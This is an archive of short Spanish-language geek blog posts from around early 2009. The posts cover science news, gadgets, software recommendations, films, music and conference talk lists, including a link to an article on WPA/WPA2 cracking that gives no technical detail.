        • Analysis and Visualization of Common Packers
        • A Fox in the Hen House - UPnP IGD
        • MoocherHunting
        • Browser Exploits: A New Model for Browser Security
        • Time for a Free Hardware Foundation?
        • Mac OS Xploitation
        • Hacking a Bird in The Sky 2.0
        • How the Leopard Hides His Spots - OS X Anti-Forensics Techniques

        Videos del día 2

        Unix Time

        

        Leo en la siguiente página que se acerca otro momento de celebracion geek. De acuerdo con la hora Unix, el proximo 13 de Febrero a las 6:31:30 pm, la hora Unix será 1234567890. Según comentan en dicha página una alineación numérica ocurre cada 34/35 años, mientras que un bilenio cada 33 años. Eres lo suficiente geek como para celebrar dicho evento?

        Crackear WPA/WPA2

        

        Genial artículo de Alejandro Martín y Chema Alonso:

        Crackear WPA/WPA2 Parte I de II

        Crackear WPA/WPA2 Parte II de II

        Y ya sabes, para aprender a protegerte tienes que sabes con qué te enfrentas.

        Gdrive

        

        Parece ser que son más que rumores los que empiazan a circular sobre otro nuevo servicio que Google pretende poner a disposición del público. Google Drive o Gdrive como algunos ya lo han bautizado, es un servicio de almacenamiento virtual. Como comentan en el siguiente post:

        Gdrive es básicamente un almacenamiento basado en la nube que tendría 2 caras: un cliente de escritorio que mantiene una copia sincronizada de ficheros y carpetas locales en dicho disco virtual. Además, este servicio se integraría con otros servicios de Google, como Google Docs, GMail, Picasa, etc.

        Recopilación de IDEs, más de 70

        

        He visto en la página:

        Nuevos programadores

        Un listado de IDEs (Entorno de Desarrollo Integrado) que es realmente impresionante, más de 70 para los lenguajes de programación:

        C/C++, Java, .NET , PERL, PHP y Ruby

        Los encontraras tanto gratuitos como comerciales, pero merece la pena echar un vistazo y descargarnos alguno para probarlo.

        El enlace con todos:

        http://mashable.com/2007/11/17/ide-toolbox/

        En Venus se formaron continentes y océanos

        

        Todo se basa en el análisis de la sonda Galileo, donde según sus resultados, es posible que tuviera en un pasado remoto, contientens y océanos.

        El descubrimiento de granito gracias a la cartografías en infrarrojo, implica sencillamente que hubo agua, ya que se necesita este componente para su formación.

        Os recomiendo la lectura completa del artículo, yo me quedo con la siguiente frase de el geofísico Norm Sleep:

        “Cualquier vida sobre Venus que no hubiese encontrado la forma de colonizar la parte superior de las nubes mil millones de años después de la formación del planeta habrían estado en un gran problema”

        El Pogoplug, conecta tu disco externo usb a …

        

        Interesante dispositivo que según indica en su publicidad, conecta de forma casi instantánea tu disco duro usb a Internet. La forma parece sencilla, conecta el disco duro usb al Pogoplug y luego este al router. Después de un setup aseguran que podrás acceder a los datos tanto desde tu red local como desde Internet.

        Estos son los pasos:

        • Conecta el Pogoplug a la corriente eléctrica 
        • Luego al router usando el cable suministrado
        • Inserta cualquier disco duro o pendrive
        • Desde tu equipo accede a my.pogoplug.com e inserta tu código único de registro
        • Eso es todo, ya tienes tu disco accesible desde la red
        • El acceso a tu disco lo podrás hacer desde tu navegador web

        Bueno, tendremos que probarlo, de momento suena bien.

        Retro: W.O.R.M, la tarjeta óptica de los 90

        

        El “WORM” (Write Once Read Many) de Canon es era algo parecido a  un CD pero sin el agujero central y que no necesitaba girar para leer la información. Eran tarjetas donde sólo podías grabar una sola vez la información, igual que ocurre con los CDs. La que aparece en el anuncio era de 2Mb. Tenía forma de tarjeta de crédito y como puedes ver, no llegó a tener mucha aceptación ya que fueron totalmente eliminados del mercado por el CDROM.

        Active Directory y Linux juntos, gracias a Samba 4

        Al parecer Samba 4 está consiguiendo algo que sería la piedra de Rosetta de la integración de sistemas Linux y Windows, un Active Directory (AD) compatible con Windows, desde Linux.  Y ojo, no estamos hablado de un LDAP y Kerberos, sino de un AD compatible hasta el punto de serlo incluso en dominios con NT 4.

        Como lenguaje script para la administración se ha optado por Python.

        Y lo más extraño, Microsoft les ha dado a los desarrolladores de Samba 4 los esquemas del funcionamiento del AD ... pero aún queda mucho camino por recorrer, como por ejemplo, el soporte e integración Exchange.

        Las 5 mejores aplicaciones portables

        Leo en Lifehacker un post sobre las 5 mejores aplicaciones portables:

        • Portable Firefox • KeePass • VLC Portable • TrueCrypt • Portable Thunderbird

        En esta página podéis encontrar muchas otras aplicaciones para llevar contigo.

        ¿Qué otra aplicación añadirías/substituirías en la lista?

        Matemáticos resuelven el misterio del acorde de "A …

         

        Y yo sin tener ni idea de esto, y supongo que tú tampoco así que te pongo en situación. El acorde de apertura de la canción "A Hard Day's Night" de The Beatles parece que siempre ha sido un misterio, ya que se ha intentado hacer el mismo acorde exacto pero nunca ha sido posible, incluso usando teorías matemáticas y teoría de música avanzada.

        Puedes oir el acorde al principio de la canción en este video de YouTube:

        Mejores Robots del 2008

        En Singularity Hub hacen un repaso sobre los mejores robots del 2008. En dicho post enlazan una serie de videos, pero este me ha parecido bastante impresionante.

        Super Mario real

        Visto en:

        Kirai

        OpenPandora

        Buscando una alternativa a mi Archos PMA 400, me econtré con Open Pandora, un dispositivo de código abierto que corre el kernel de Linux y con unas características impresionantes:

        • ARM® Cortex™-A8 600Mhz+ CPU running Linux
        • 430-MHz TMS320C64x+™ DSP Core
        • PowerVR SGX OpenGL 2.0 ES compliant 3D hardware
        • 800x480 4.3" 16.7 million colours touchscreen LCD
        • Wifi 802.11b/g, Bluetooth & High Speed USB 2.0 Host
        • Dual SDHC card slots & SVideo TV output
        • Dual Analogue and Digital gaming controls
        • 43 button QWERTY and numeric keypad
        • Around 10+ Hours battery life

        Pero lo mejor de todo es cuando vi este video, se me cayeron dos lagrimones… y es que si tuvistes un Amiga entederás el porqué.

        Battlestar Galactica, Temporada 4.5

        

        Se estrenó la segunda parte de la cuarta temporada el día 16 de enero, por fin ;)

        Free IP Switcher, cambiar datos de red sin …

        

        Esta aplicación gratuita te permite crear infinitos perfiles de red, para por ejemplo poder cambiar sin tener que reiniciar el equipo todos estos parámetros:

        IP, DNS, grupo de trabajo, nombre del equipo, impresora por defecto y alguna que otra opción más.

        Excelente herramienta si tienes varios perfiles de trabajo en red y necesitas cambiar la configuración frecuentemente.

        Descarga desde:

        Eusing Software

        Visto en:

        PCActual

        Universo de pega

        Visto en Público

        Revista Newscientist. Según ha explicado Craig Hogan, físico de Fermilab (EEUU), es posible que la experiencia que tenemos del mundo no sea más que una proyección holográfica de procesos físicos que están teniendo lugar en algún lugar del cosmos.

        Gana fuerza la teoría de que el universo que habitamos es un holograma proyectado desde otro universo. Hay que agradecer que el holograma sea de calidad, y no como los que veíamos en Star Wars. Aconsejo que no nos tomemos las cosas demasiado en serio, porque cualquier día pueden cambiar la programación…

        Androman, el robot de Atari

        

        No tenía ni idea de este robot creado por el mismísimo Nolan Bushnell (fundador de Atari).

        Puedes ver un excelente artículo donde se detalla el orígen del robot y sus problemas, ya que nunca se llegó a comercializar:

        NeoTeo

        Muy curioso.

        Visto en:

        Z80RetroHard

        JSMario

        Pues eso, javascript Mario. Que tiempos aquellos…

        http://jsmario.com.ar/

        Facebook hasta en la sopa

        

        Visto en Público.es

        Guía ilustrada de GIT para Windows

        Parece ser que GIT funciona bastante bien y buena fé de ello es que está ganando bastantes adeptos últimamente. Grandes proyectos de Software Libre como el propio Linux, Perl, Android, WINE, etc. se pasaron a este sistema de control de versiones. Así que decidí investigar un poco para recomendarlo en el curro, ya que actualmente no usamos ningún sistema de este tipo. Tenía claro que para trabajar con él bajo cualquier distribución GNU/Linux no había problemas, pero no lo tenia muy claro para Windows, que es el sistema operativo que tenemos en el curro. Así que, buscando encontré esta guía ilustrada de como usar GIT bajo Windows. Está en inglés, pero está todo explicado a base de pantallazos.

        Cadillac One, el coche-tanque del Presidente de …

        

        Haz click sobre la foto para verla a mayor tamaño y darte cuenta que más que un coche es un verdadero tanque.

        Visto en:

        The FireWire

        Artículo original:

        MailOnline

        Bolsos extraños ...

        Increible colección de bolsos, aquí os pongo dos de nuestros favoritos:

        

        Para verlos todos:

        http://oddee.com/item_96544.aspx

        Visto en:

        Neatorama

        Caca nene eso no se toca, confirmado, Fundación al …

        

        Y échate a temblar cuando te diga el director de las sagas ... Roland Emmerich, chicos y chicas perdón por la expresión pero YO ME CAGO EN TO. Este sujeto es el creador de "obras de arte" de cuarto de baño como: 10.000 AC, Godzilla y la fantástica caca Independence Day (tiene otras grandes películas, mira en su curriculum).

        Siempre igual, se les acaban las ideas y tienen que empezar a cargarse obras maestras de la Ciencia Ficción.

        Descargas adicionales para Windows 7 (herramientas …

         

        Si estas probando Windows 7 (como yo y de momento me gusta lo que estoy viendo), pero también necesitas herramientas a nivel de administrador de sistemas no te pierdas estos enlaces que te pueden ser de mucha utilidad…

        Marte aún está vivo ...

        

        Foto: NASA

        Y esto lo afirmamos porque en Marte se ha descubierto metano, lo que implica que existe alguna actividad biológica o geológica.

        ”El metano se destruye rápidamente en la atmósfera marciana de varias formas diferentes, por eso, nuestro descubrimiento de chorros significativos de metano en el hemisferio norte de Marte en el año 2003 nos indica que existe algún proceso en marcha que libera este gas”, Dr. Michael Goddard, NASA .

        Urban Space Invaders

        Visto en:

        Geeks are Sexy

        Es un fake y es también un anuncio que no tengo muy claro que anuncia, pero está guapo ;)

        Heineken, esto sí que es un vestidor

        Dedicado a mi colega NOP.

        Mapa del mítico Zelda en punto de cruz

        

        No sé que queréis que comente ;)

        Visto en:

        BoingBoing

        ¡Los anillos de Saturno están desapareciendo!

        

        Tranquilos, no hay que alarmarse, los astrónomos llaman al fenómeno un “cruce del plano de los anillos". Durante su giro alrededor del Sol, periódicamente, una vez cada 14 a 15 años los anillos de saturno apuntan hacia la Tierra. Dado que los anillos son tan delgados, pueden de hecho desaparecer cuando se observa el planeta a través de un telescopio de aficionado. En el preciso momento del cruce sobre el plano de los anillos, Saturno se somete a una metamorfosis sorprendente. El anillado planeta se convierte en un solo balón de gas, casi irreconocible. Los que tengan estos telescopios pueden confundirse al mirar a Saturno en dichas fechas y pensar que se han equivocado de coordenadas.

        Pavement, fantásticos

         

        Una de las espinitas que tengo clavadas en mi vida es no haber visto a Pavement nunca en directo, cosa que ahora es imposible ya que se separaron en 1999. Aún recuerdo mi primer viaje al festival de Benicassim en 1997  (FIB para los amigos) para ver entre otros, a Pavement. Pero una increible tormenta casi mata a los componentes del grupo Urusei Yatsura y por lo tanto, el concierto siguiente de Blur y Pavement se canceló.

        Están entre nosotros... cada vez más.

        

        Aunque a alguien le parezca de ciencia ficción existen muchos coches eléctricos circulando por nuestras carreteras, de hecho, solo Toyota lleva cerca de un millón y medio de unidades vendidas de su Prius Hybrid. Si está atento podrá ver el símbolo de Hybrid Synergy Drive en el maletero de dichos vehículos:

        

        Esta tecnología que emplea el Toyota Prius permite una transición entre el motor eléctrico y el propulsor de gasolina, que es gestionada por el propio vehículo. Además, al tener un cambio completamente automático, el Prius es un coche muy fácil de conducir.

        Top 25 errores de programación más peligrosos

         

        Extenso y muy interesante artículo (en inglés) en el que se generalizan los errores más peligrosos a la hora de programar.

        En él aparece una lista dividida en 3 categorías:

        Interacción insegura entre componentes (9 errores)

        Uso o control de recursos peligrosos (9 errores)

        Defensas porosas (7 errores)

        Cada uno está muy bien documentado, además los creadores de esta lista son realmente personajes importantes en el mundo de la programación, mira algunos de ellos:

        El tamaño de las diferentes versiones de Windows

        

        Windows XP Professional con Service Pack 3 (x86):

        589,14MB

        Windows Vista with Service Pack 2 Beta (x86) (todas las versiones):

        3.096,52MB (3GB)

        Windows 7 Beta (x86) (todas las versiones):

        2.497,48MB (2,4 GB)

        Windows 3.11:

        5,47MB

        Windows Server 2003 Enterprise x64 Edition:

        593,66MB

        Windows Server 2003 R2, Enterprise x64 Edition:

        787,94MB

        Windows Server 2008 Datacenter, Enterprise y Standard (x64):

        2.542,27MB (2,5 GB)

        El Cometa Lulin se acerca a la Tierra y será …

        

        Lulin pasará exactamente a 0,41 Unidades Astronómicas de la Tierra, unas 14 veces la distancia de la Tierra a la Luna, y esto ocurrirá el 24 de Febrero de 2009.

        Actualmente se mueve entre las constelaciones de Escorpio y Libra, pero cuando atraviese la constelación de Leo será cuando podremos verlo a simple vista.

        Visto en:

        http://www.cafeterra.info/2009/01/comet-lulin.html

        Y en Slashdot.

        "Up" lo nuevo de Pixar para el 2009

        http://www.pixar.com/featurefilms/up/

        Si quieres saber más:

        http://extracine.com/2008/01/primer-vistazo-al-nuevo-proyecto-de-pixar-up/

        La vida privada de las estrellas, en PDF

        

        Desde El Tamiz, nos hacen este fantástico regalo de reyes. “La vida privada de las estrellas” es un documento en PDF donde se  detalla desde el nacimiento de una estrella hasta su final (60 páginas).

        El documento está editado bajo licencia Creative Commons.

        Puedes descargarlo desde aquí.

        Artículo original:

        http://eltamiz.com/2009/01/05/la-vida-privada-de-las-estrellas-en-pdf/

        Muchas gracias por el regalo, fantástico.

        PC Wizard 2008, herramienta gratuita para analizar …

        

        Windows

        PC Wizard 2008 te permite hacer un análisis tanto de hardware como software instalado en el sistema (igual que otras aplicaciones de pago como la famosa Everest, que también tiene su descarga gratuita en versión basic). Además te permite hacer mediciones (bechmark), compararlas con otros sistemas y analizarlas. La información mostrada es bastante amplia, por ejemplo en la sección Hardware tienes hasta 13 , Placa Base, Procesador, etc …

        Cálico Electrónico, "La generación de la bola"

           

        Como siempre, geniales.

        Fantástico episodio que seguro que te traerá recuerdos y sobre todo te vas a reir un rato.

        Puedes verlo con mayor calidad y en Flash:

        Cálico Electrónico

        No os olvidéis de ver también sus cápsulas y otros episodios anteriores en:

        http://www.calicoelectronico.com

        Nuestro personaje favorito, Alarico:

        

        El primer pendrive reciclable

        

        ATP es una empresa dedicada, casi exclusivamente, a la creación y comercialización de productos de memoria. A pesar de ser puntera en ese terreno, la empresa afirma que ha tardado varios años en desarrollar este dispositivo denominado EARTHDRIVE. Finalmente ha logrado fabricarlo con el número máximo de materiales ecológicos, hasta su packaging es de papel reciclado. El dispositivo es casi por completo reciclable y, por ende, sus componentes resisten perfectamente el agua, el polvo, y los golpes leves!! Ahora no hay excusa, si no lo compras por salvar el planeta lo puedes hacer por la calidad de sus componentes porque... prueba a poner tu pendrive bajo el grifo.

        Análisis al Intel 4004

        

        El Intel 4004 fue el primer microprocesador fabricado en masa y ampliamente utilizado. Hay dos diferencias fundamentales con los microprocesadores actuales: la primera es que sólo usaban un tipo de transistor (PMOS o NMOS) y que cada puerta lógica se construía de forma de diferente a otra en función del espacio físico disponible (no había un diseño homogéneo).

        Siempre es interesante ver el funcionamiento de estos microprocesadores pioneros en la computación para aprender cómo funcionaban y ver la evolución a los nuevos microprocesadores de la actualidad.

        Cloud computing, contado con sencillez

         

        Referenciado y subtitulado por Nubeblog, nos llega una excelente exposición sobre Cloud Computing de la gente de GoGrid. Como siempre, con papel, un rotulador y tijeras, convierten algo aparentemente complejo en algo sencillo. Un haiku de la pedagogía…

        Cloud Computing Plain English Spanish Subs

        Los 10 lenguajes de programación más raros de la …

        

        Interesante, divertido y curioso artículo leido en:

        MuyComputer

        Podrás ver 10 lenguajes de programación con unas características realmente increibles pero poco prácticas.

        Windows 7 beta disponible para descarga (con su …

        

        La versión beta pública de Windows 7, que ocupa 2.4 Gb, ya está disponible para su descarga.  Por otro lado, Microsoft distribuirá 2.5 millones de claves, así que date prisa si quieres uno para probarlo.

        Para descargarlo directamente:

        Windows 7 32 bits descarga

        Windows 7 64 bist descarga

        Y para conseguir la clave del producto:

        Entra en:

        http://technet.microsoft.com/

        Copia y pega el acceso directo siguiente en otra pestaña del navegador (no hagas click):

        Un objeto aún no identificado destroza una hélice …

        

        ¿Qué ha destrozado esta hélice en Lincolnshire en Inglaterra?, es un caso bastante extraño y encima los residentes del pueblo informaron haber visto luces naranjas brillantes en el cielo justo antes del accidente (ya empezamos, como siempre ocurre en estos casos).

        El fundador de Ecotricity Dale Vince dice “Suena increible pero actualmente no tenemos ninguna explicación”.

        Lo más probable es que haya sido un avión y de hecho se comenta también que han encontrado algún que otro resto que aún están analizando. Esto preocupa a los militares, ya que según ellos, podría ser una incursión no autorizada de un avión en su territorio.

        Programar un microcontrolador para que juegue por …

        Katamari Autonomy from Julian Bleecker on Vimeo. 

        Near Future ha programado un microcontrolador arduino para que pueda controlar un mando ps3 o ps2. En el video puedes ver como pasa un nivel del juego Beautiful Katamari usando algoritmos aleatorios (tardó unos 70 minutos en limpiar una habitación ó nivel del juego).

        Interesante proyecto.

        Visto en:

        http://hackaday.com/2009/01/07/autonomous-game-controllers/

        Noticia original con todo, código fuente y todo lo que necesites para crearlo:

        Acelerador de partículas vs WebCam

        Sigue los resultados que te muestran en el video hasta el final, son muy interesantes.

        Visto en Neatorama.

        NVidia ofrece gafas 3D para todos

         

        Parece que 2009 será el año de las gafas 3D, primero Sony y ahora NVidia. La tecnolgía de visión 3D de Nvidia usará unas gafas esteroscópicas con pantallas que soporten frecuencias a 120Hz para crear un efecto de inmersión. Lo mejor de todo, se podría aplicar a los juegos existentes ya que usaría la información almacenada en el buffer Directx.

        Michel Gondry y el proceso de creación del vídeo …

        Este auténtico “crack” del mundo de las artes visuales que es Michel Gondry, además de ser pionero en la utilización del Bullet Time, que todos recordaréis de la película The Matrix (entre otras), ha hecho gran parte de los mejores vídeos  musicales que existen.

        Aquí os dejo, para quien no lo haya visto, el proceso de creación del vídeo Star Guitar de los  Chemical Brothers y la posterior representación curiosísima a base de tenedores, zapatillas, naranjas, etc. Una maravilla…

        Fractales fotorealistas con Structure Synth y …

         

        

        Combinando estas dos aplicaciones de Software Libre, Structure Synth y SunFlow puedes llegar a crear fractales e imágenes 3D realmente espectaculares.

        Más datos:

        http://wbs.nsf.tc/tutorial/sunflow/tutorial_sunflow_e.html

        http://sunflow.sourceforge.net/

        http://structuresynth.sourceforge.net

        Noticia original:

        Josekblog

        Visto en:

        Barrapunto

        Record de apilar vasos (hay gente para todo ...)

        Super Ubuntu, distribución con extras

        

        Super Ubuntu simplemente añade varios extras interesantes a la versión actual de Ubuntu, como por ejemplo codecs multimedia, plugins (flash, java, etc …), aplicaciones extras, actualizaciones y mucho más que puedes ver aquí.

        Está bastante actualizado y puedes descargarte toda la distribución en un ISO.

        Página de Super Ubuntu

        Visto en:

        http://lifehacker.com/5123360/super-ubuntu-rolls-multimedia-and-helpful-extras-into-ubuntu

        El Top 10 de todo lo ocurrido en 2008, según …

        

        Nos gustan mucho los “Top” de casi todo, así que voy a seleccionar algunos de los que he visto en la página de Time:

        Top 10 álbunes del 2008

        Top 10 libros de ficción

        Top 10 aplicaciones para el iPhone

        Top 10 portadas de revistas

        Top 10 avances médicos

        Top 10 descubrimientos científicos

        Top 10 canciones

        Top 10 anuncios de televisión

        Top 10 series

        Top 10 videojuegos

        A través del Universo, un podcast sobre Astronomía …

         

        Un nuevo programa (nuevo para nosotros pero lleva ya cuatro temporadas) de podcast para nuestra colección "A través del Universo", realizado por miembros del Instituto de Astrofísica de Andalucía. La forma de mostrarnos los secretos del Universo es bastante amena, ya que mezcla el rigor científico con algunos toques de humor y sobre todo alguna que otra mención a la Ciencia Ficción. Las secciones del podcast son por ejemplo Astronoticias, Astrotema, Astropreguntas, Entrevistas, etc ...

        Smallville nueva temporada, se pone interesante

         

        He seguido alguna que otra temporada de Smallville pero siempre he terminado por cansarme.

        Pero viendo este trailer de la nueva temporada parece que la cosa está mejorando. El capítulo se emitirá este 15 de enero en Estados Unidos y se llama “Legion”.

        Estaremos atentos.

        Visto en:

        The Fire Wire

        Paisaje

        

         

        

        Visto en:

        http://www.gracegrothaus.com/gallery/sculpture/Image3

        y en: Neatorama

        cdlibre.org, recopilación de software libre para …

        

        Windows

        Fantástica recopilación de 658 programas de software libre para plataformas Windows. Puedes consultar el catálogo aquí.

        Puedes descargarte una imágen ISO tanto para CD’s o para DVD, así como descargar individualmente los programas.

        Sencillamente imprescindible.

        Página oficial:

        http://www.cdlibre.org/

        Visto en:

        http://barrapunto.com/

        Fantasía Geek (Jack Black) ... XD

        No hace falta traducción XD

        Madre mía que bueno …

        Visto en:

        http://www.yoire.com/1469-video-la-fantasia-de-un-videojugador

        ThinkGeek, un paseo por el paraiso

        Inside ThinkGeek: The Interview from Geeks are Sexy on Vimeo. 

        Esta es una entrevista y una visita a la famosa tienda online de material geek llamada ThinkGeek.

        No os lo perdáis, creo que deberían de regalar tickets como en “Charlie y la Fábrica de Chocolate” para sortear visitas ;)

        Creo que este puede ser el mejor trabajo del mundo.

        PD: por cierto, yo ya tengo mi nuevo pedido de material … ya os lo pondré.

        En Venus había tanta agua como en la Tierra

         

        O al menos eso creen los científicos después de analizar los datos de la Venus Express. La mayoría de pérdida de la atmósfera del planeta ocurren en la parte nocturna del planeta, donde se pierden  átomos de hidrógeno y oxígeno. Venus no tiene campo mangnético propio, por lo cual no tiene protección ante la acción del Viento Solar el cual arranca las partículas de la atmósfera hacia el espacio (como puedes ver en esta animación):

        La demo "1995", una de las últimas joyas de la …

         

        Ya que NOP ha publicado el video de la fantástica demo "Second Reality" de Future Crew, voy a retomar un poco el tema de la demoscene.

        Que tiempos aquellos por 1995, momento cumbre cuando grupos como Iguana o Future Crew llenaban de obras de arte todas las party y las bbs.

        He leido en PixFans un análisis de una demo bastante reciente, 2006, del grupo Kewlers que se presentó al evento más famoso de las demos, la Assembly (que por cierto continúa). Os puedo decir que es realmente impresionante. Ahora se usa la potencia gráfica de las tarjetas de video y los efectos ya son algo realmente espectaculares, sobre todo pensando que el código está programado, no hay nada de video y el render es en tiempo real.

        Tipos de tornillos

        

         

        Visto en:

        http://www.neatorama.com/2009/01/04/everything-youd-want-to-know-about-screws/

        Más información:

        http://www.instructables.com/id/When_a_Phillips_is_not_a_Phillips/

        Una serie de zombis y Gran Hermano, "Dead Set"

        Dead Set New E4 Horror - video powered by Metacafe

        ¿Raro verdad?

        El genial Hernan Casciari nos habla en su blog de una serie llamada “Dead Set”. Mientras se celebra otra edición de la tontería del Gran Hermano versión británica, un extraño virus está matando y luego reiviviendo como zombis a la gente en todo el mundo (al más propio estilo de “28 días después”). Dentro de la casa, claro está, no tienen ni idea y sus preocupaciones son otras.

        Más sobre la 25C3 del Chaos Computer Club, gracias …

        

        Nuestros amigos de El Geek Errante (que por cierto, esperamos ansiosos un nuevo podcast), a través de Futur3, nos hacen un seguimiento del 25C3 del que ya hemos hablado en CyberHades.

        Fantástico y extenso reportaje de este evento:

        • 25C3 #1
        • 25C3 #2
        • 25C3 #3
        • 25C3 #4
        Visto en:

        http://elgeekerrante.com/25c3/

        Gracias compañeros.

        DivFix++, repara tus videos AVI

        

        Windows, Mac y Linux

        Si tienes algún video dañado, prueba esta aplicación que no consume apenas CPU y es bastante rápida. No esperes milagros pero por lo menos podrás llegar a visualizar de nuevo el video dañado.

        Puedes descargarla desde aquí:

        http://divfixpp.sourceforge.net/

        Visto en:

        LifeHacker

        Volcán de cebolla

        Corta una cebolla, coloca los aros uno encima del otro hasta conseguir un cono, luego llénalo con aceite y agua. Posiblemente el resultado no sea igual de espectacular que el mostrado en el video, ojo con el experimento no nos hacemos responsables ;) . Opcional, añade salsa de soja para la lava.

        Alucinante.

        Los rovers marcianos cumplen 5 años, felicidades

        

        Y se estimaba una duración de 3 meses …

        Han recorrido 21 km, enviado más de 36 Gb de datos a la Tierra, descendido cráteres, atravesado tormentas de arena, etc … pero lo mejor es que aún funcionan y pueden contínuar con su misión durante este 2009.

        Más información en:

        Sondas Espaciales

        Desde CyberHades, mostramos nuestra más profunda admiración por estos robots y sus creadores.

        Más sobre los rovers en CyberHades, aquí.

        El 25th congreso del Chaos Computer Club

        

        Se ha celebrado desde el 27 al 30 de diciembre de este año, y la informacion que ha generado es realmente interesante. Entre ellas, que han roto el SSL, con lo cual a partir de ahora, el https:// no será tan seguro (puedes ver un excelente artículo sobre esto en Teleobjetivo).

        Fijaros en los temas, la mayoría se puede descargar en PDF con mucha información (en inglés): 

        • Advanced memory forensics: The Cold Boot Attacks
        • Algorithmic Music in a Box
        • An introduction to new stream cipher designs
        • Chip Reverse Engineering
        • Climate Change
        • Collapsing the European security architecture More security-critical behaviour in Europe!
        • Cracking the MSP430 BSL
        • Full disk encryption Crash-Course
        • Life is a Holodeck!
        • Neusprech im Schnüffelstaat
        • OnionCat -- A TOR-based Anonymous VPN
        • Privacy in the social semantic web Social networks based on XMPP
        • SWF and the Malware Tragedy
        • The Infinite Library
        • The Trust Situation
        • The Ultimate Commodore 64 Talk
        • Tricks: makes you smile
        • U23
        Página oficial:

        http://events.ccc.de/congress/2008/wiki/Welcome

        El nuevo Star Trek

         

        En mayo sabremos cómo llego Kirk a ser capitán de la Enterprise.

        Tiene buena pinta además el director es J.J. Abrams (te sonará de “Perdidos”).

        Web oficial:

        http://www.startrekmovie.com/

        La impensable división de los EE.UU

        

        Impensable pero curiosa, publicado en el Wall Street Journal, basada en la teoría de un profesor ruso, Igor Panarin, el cual predijo la disolución de los EE.UU para 2010.

        Fijaros, Costa Oeste (verde claro) parte de China o bajo su influencia, Alaska para Rusia, Hawai para Japón o China, República de Texas (azul claro) parte de Méjico o bajo su influencia, NorteAmérica Central (amarillo) de Canada o bajo su influencia y la NorteAmérica Atlántica en la Unión Europea … es bastante fantástico pero a la vez muy interesante.

        Loop Quantum Cosmology, o la teoría del Universo …

        

        Interesante teoría y muy completo artículo donde nos explica que el Universo actual fue la causa del colapso de otro Universo anterior, LQC.

        Por lo tanto existió otro Universo que colapsó en un momento del tiempo y dio lugar al nuestro, con lo que se abren muchas nuevas teorías tanto científicas como “existenciales”.

        Todos los experimentos realizados para llegar a esta conclusión se han realizado utilizando una combinación de la Teoría de la Gravedad de Einstein con la Teoría de mecánica cuántica, con experimentos a niveles microscópicos con fuerzas gravitacionales extremas.

        Nikola Tesla y sus misterios, en Microsiervos

         

         Excelente artículo visto en Microsiervos donde se habla sobre las teorías misteriosas y conspiratorias que rodean la imágen de este genio Nikola Tesla.

        Todas las referencias aparecen en el libro también recomendado por Microsiervos (que irá directo a nuestra wishlist):

        Wizard: The Life and Times of Nikola Tesla

         

        Quizás la más extraña y a la vez fantástica teoría sea la del Incidente de Tunguska, del que algunos aseguran estaba detrás Tesla con alguno de sus experimentos.

        El misterio de la Beagle 2, casi resuelto

         

        52 millones de euros se fueron a paseo los días de Navidad del 2003 cuando se perdió el contacto con la Beagle 2 en su entrada a la atmósfera de Marte.

        Muchas hipótesis se han barajado, pero parece ser que al final fue un error de cálculo en la entrada a la atmósfera lo que provocó que la sonda diera vueltas sin control y se quemara.

        Toda la información en nuestra querida SondasEspaciales.

        J.D. Salinger cumple 90 años

        Lo primero, desear FELIZ AÑO NUEVO  a todos.

        

        Año Nuevo y J.D. Salinger cumple 90 años. Desde CyberHades: ¡FELICIDADES!

        Todavía recuerdo cuando leí "The Catcher in the Rye" (El Guardián entre el Centeno). Fue un libro que me marcó para toda la vida.

        La fama le llevo a estar siempre huyendo de todo, y son ya más de 40 años los que lleva sin publicar novela alguna. El Guardián entre el Centeno, publicada en 1951, fue su primera novela y con la que consiguió reconocimiento internacional. Nadie como él ha sabido reflejar lo que es la adolescencia. Una novela completamente atemporal (todavía se venden cada año unos 250.000 ejemplares) y que sigue sirviendo de influencia para gran número de escritores, grupos de música, etc. Las andanzas de su protagonista, Holden Caulfield, son ya universales.

        John Lennon de nuevo de actualidad

        

        Tras autorizarlo Yoko Ono y utilizando tecnología digital, han realizado un anuncio con la "voz" de John Lennon e incluso, al final del mismo, con su imagen.

        El anuncio corresponde a la campaña "Un portátil para cada niño" (One Laptop per Child, OLPC)  que ha lanzado el científico de origen griego Nicholas Negroponte, creador del Media Laboratory del Massachusetts Institute of Technology (MIT), con la finalidad de entregar modelos Laptop XO (con características especiales) a los niños de los países más pobres.

        The Velvet Underground, "Heroin" y la importancia …

         

        Un buen día, por recomendación de mi buen amigo Jose María Villalobos, me compré un libro con las canciones en inglés y en español , del que para mi es EL MEJOR GRUPO DE LA HISTORIA DE LA MÚSICA, The Velvet Underground. A partir de ese momento, todo cambió. De repente todas las canciones que me gustaban de la Velvet me gustaron el doble, ya que pasaron de ser música a otro nivel donde sentimientos y música se unen.

        Los mejores teclados para cada ocasión

        

        El teclado es fundamental en el trabajo del día a día con el ordenador (yo mismo tengo varios y los cambio frecuentemente), aunque mucha gente no le preste la menor atención. Existen teclados creados para diferentes tipos de trabajos, como por ejemplo programar, jugar, genéricos, etc …

        Aquí tienes un artículo genial donde se muestran modelos de teclados clasificados según su uso y precio:

        Genéricos, Juegos (macros), Híbridos, Gamepads y Teclados para Media Center

        Frases célebres sobre la programación

        Nuestras 3 favoritas:

        “Sólo hay dos tipos de lenguajes: aquellos de los que la gente se queja y aquellos que nadie usa."

        Bjarne Stroustrup

        "Mucho del software hoy en día se parece a una pirámide egipcia: con millones de ladrillos apilados uno encima del otro, sin integridad estructural y hecho por pura fuerza bruta y miles de esclavos."

        Alan Kay 

        "Si deseas empezar y desarrollar algo grandioso, no necesitas millones de dólares de capitalización. Necesitas suficiente pizza y Diet Coke en la nevera, una PC barata y trabajo y dedicación para realizar tu idea."
        John Carmack
         

        Noticia original y más frases en:

        El teléfono de pulsera de LG

        

        Es el LG-GD910, tiene 3G y HSDPA, una pantalla de 1,43 pulgadas, voz (te lee en voz alta el texto), bluetooth, cámara para videoconferencia y un reproductor de MP3.

        Se presentará en el CES en Enero de 2009.

        Visto en:

        http://gadgets.boingboing.net/2008/12/29/lgs-wristphone-comin.html

        La estrella más grande conocida comparada con …

         

        

        • La estrella Sirio  es la más brillante y tiene el doble de tamaño que nuestro Sol

        • Eta Carinae  es 400 veces el diámetro del Sol

        • Betelgeuse es 1.000 veces el díametro de nuestro Sol

        Pero la estrella más grande conocida es:

        VY Canis Majoris, supergigante roja que es aproximadamente 2.100 veces más grande que nuestro Sol:

        

        Visto a escala en esta imágen resulta realmente inimaginable.

        Eli "Paperboy" Reed & The True Loves

